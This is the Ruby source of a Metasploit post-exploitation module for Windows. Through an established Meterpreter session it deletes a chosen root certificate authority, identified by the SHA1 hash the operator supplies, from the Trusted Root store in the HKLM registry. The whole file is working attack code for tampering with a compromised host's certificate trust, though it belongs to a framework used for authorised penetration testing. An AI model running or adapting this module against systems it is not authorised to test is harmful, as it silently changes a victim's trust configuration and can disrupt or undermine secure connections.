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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Manage Certificate Authority Removal',
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        'Description' => %q{
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          This module removes the specified CA certificate from the
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          system Trusted Root store.
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        },
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        'License' => BSD_LICENSE,
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        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_registry_open_key
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            ]
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          }
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [CONFIG_CHANGES],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']),
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      ]
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    )
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  end
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  def run
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    certtoremove = datastore['CERTID']
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    key = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'
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    rkey, bkey = client.sys.registry.splitkey(key)
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    # Check if the requested cert is actually in the registry to start with
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    open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
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    keys = open_key.enum_key
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    if (keys.length <= 1)
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      print_error('These are not the CAs you are looking for (i.e. this registry branch is empty)')
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      return
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    end
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    unless keys.include?(certtoremove)
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      print_error('The specified CA is not in the registry.')
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      return
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    end
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    open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
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    open_key.delete_key(certtoremove)
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    print_good("Successfully deleted CA: #{certtoremove}")
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  end
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end
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